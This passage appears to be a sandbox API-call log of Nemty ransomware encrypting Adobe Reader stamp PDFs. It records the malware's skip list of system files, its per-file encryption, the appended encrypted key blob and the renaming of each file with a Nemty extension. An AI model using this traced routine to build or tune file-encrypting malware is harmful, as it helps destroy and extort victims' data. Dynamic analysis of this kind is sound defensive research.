lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0188.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.470] Sleep (dwMilliseconds=0x5) [0188.477] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23fce970, dwHighDateTime=0x1d561e8)) [0188.477] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23fce970, dwHighDateTime=0x1d561e8)) [0188.477] GetLastError () returned 0x0 [0188.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.477] GetLastError () returned 0x0 [0188.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.477] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.477] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.477] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.477] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.478] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="w4lNTxIo9uKpSkbpGRF/896AODytpN+sKk/XNTTVesRkQ8H7ncg9lAeaWE1nmbQd\r\nxMyRHyXU+r4qLaNwR+bIiv7ss7Ye56rHKlJfKJIXZZ+jHhSr1PMfVq5TTKi2M3gi\r\naSbR5TQ0iLwOJDG0TlmVndyEeKrNbNJlw5V8jN2j+eDKDqM3WRFpTzzvuoGqhJ7a\r\nAnnFGoF/VlyPBDMKuNC4mS200ezs0+c/uwSqaY4NVPoE0T0UkNrMOTiMrcxs1/qY\r\n8Xy3R+WG4f/5q/Y+cPoroP0yrnlwIHYAJ7GsjPb13iFfyYlBCQWQbXoSURLCelH0\r\nhT44L5tTU+CRNqsC7mngkw==\r\n", pcchString=0x653df5c) returned 1 [0188.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.478] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.478] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=35990) returned 1 [0188.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8c90) returned 0x6352c48 [0188.478] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.478] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x8c90, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x8c90, lpOverlapped=0x0) returned 1 [0188.482] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.482] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x8c90, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x8c90, lpOverlapped=0x0) returned 1 [0188.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.482] SetFilePointer (in: hFile=0x320, lDistanceToMove=35990, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c96 [0188.482] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.482] CloseHandle (hObject=0x320) returned 1 [0188.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.483] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.483] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0188.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0188.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.483] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0188.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0188.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.484] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2eb9e, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0188.484] lstrcmpiW (lpString1="Standard.pdf", lpString2=".") returned 1 [0188.484] lstrcmpiW (lpString1="Standard.pdf", lpString2="..") returned 1 [0188.484] lstrcmpiW (lpString1="Standard.pdf", lpString2="...") returned 1 [0188.484] lstrcmpiW (lpString1="Standard.pdf", lpString2="windows") returned -1 [0188.484] lstrcmpiW (lpString1="Standard.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.484] lstrcmpiW (lpString1="Standard.pdf", lpString2="rsa") returned 1 [0188.484] lstrcmpiW (lpString1="Standard.pdf", lpString2="NTDETECT.COM") returned 1 [0188.484] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntldr") returned 1 [0188.484] lstrcmpiW (lpString1="Standard.pdf", lpString2="MSDOS.SYS") returned 1 [0188.484] lstrcmpiW (lpString1="Standard.pdf", lpString2="IO.SYS") returned 1 [0188.484] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0188.484] lstrcmpiW (lpString1="Standard.pdf", lpString2="boot.ini") returned 1 [0188.484] lstrcmpiW (lpString1="Standard.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.484] lstrcmpiW (lpString1="Standard.pdf", lpString2="ntuser.dat") returned 1 [0188.484] lstrcmpiW (lpString1="Standard.pdf", lpString2="desktop.ini") returned 1 [0188.484] lstrcmpiW (lpString1="Standard.pdf", lpString2="CONFIG.SYS") returned 1 [0188.484] lstrcmpiW (lpString1="Standard.pdf", lpString2="RECYCLER") returned 1 [0188.484] lstrcmpiW (lpString1="Standard.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.484] lstrcmpiW (lpString1="Standard.pdf", lpString2="bootmgr") returned 1 [0188.484] lstrcmpiW (lpString1="Standard.pdf", lpString2="programdata") returned 1 [0188.484] lstrcmpiW (lpString1="Standard.pdf", lpString2="appdata") returned 1 [0188.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.484] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.485] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0188.485] Sleep (dwMilliseconds=0x5) [0188.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23ff4ad0, dwHighDateTime=0x1d561e8)) [0188.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23ff4ad0, dwHighDateTime=0x1d561e8)) [0188.493] GetLastError () returned 0x0 [0188.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.493] GetLastError () returned 0x0 [0188.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.493] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.493] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.493] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.493] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="GjyxN8/1NoF7MIyXd6hq66rD1EXcBt09blU7kR34Zp7VAK9yGV/ApgpWkYvnMQ89\r\nzDsW3QK0E185IJ5BLsxwhrzxZfox6wkFtZHKEtx/DKAeNEfQQgfHA6wKUoG1x7Fc\r\n5S0+Od4ucTmlnR7T+7l+H2BXC2y1TlToeh5alwwClwhSMG7buIlPRw55ucBU2iI3\r\nE+sMoEz2CO/QL/UcvGkKwYKSJD9qgbgPepq5aJicnZfYjDVAjAt0rbD3AKjwj46Y\r\nAYj3XfXi9LyZH7DLwkyKkPzvpnSQLoOt/gT/YSgetQ4ZA4t3IasNhAFM87yM10U6\r\ncml4vWGnmCspr/wnL6O8iw==\r\n", pcchString=0x653df5c) returned 1 [0188.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.493] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.494] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=191390) returned 1 [0188.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0188.494] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.494] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0188.503] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.503] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0188.503] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.503] SetFilePointer (in: hFile=0x320, lDistanceToMove=191390, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2eb9e [0188.503] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.504] CloseHandle (hObject=0x320) returned 1 [0188.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0188.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0188.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.504] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Standard.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standard.pdf._nemty_kgobjgd_")) returned 1 [0188.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0188.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.505] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a88d, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0188.505] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0188.505] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0188.505] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0188.505] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0188.505] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.505] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0188.505] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0188.505] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0188.505] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0188.505] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0188.505] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0188.505] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0188.505] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.505] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0188.505] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0188.505] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0188.505] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0188.505] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.505] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0188.505] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0188.505] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0188.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0188.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, 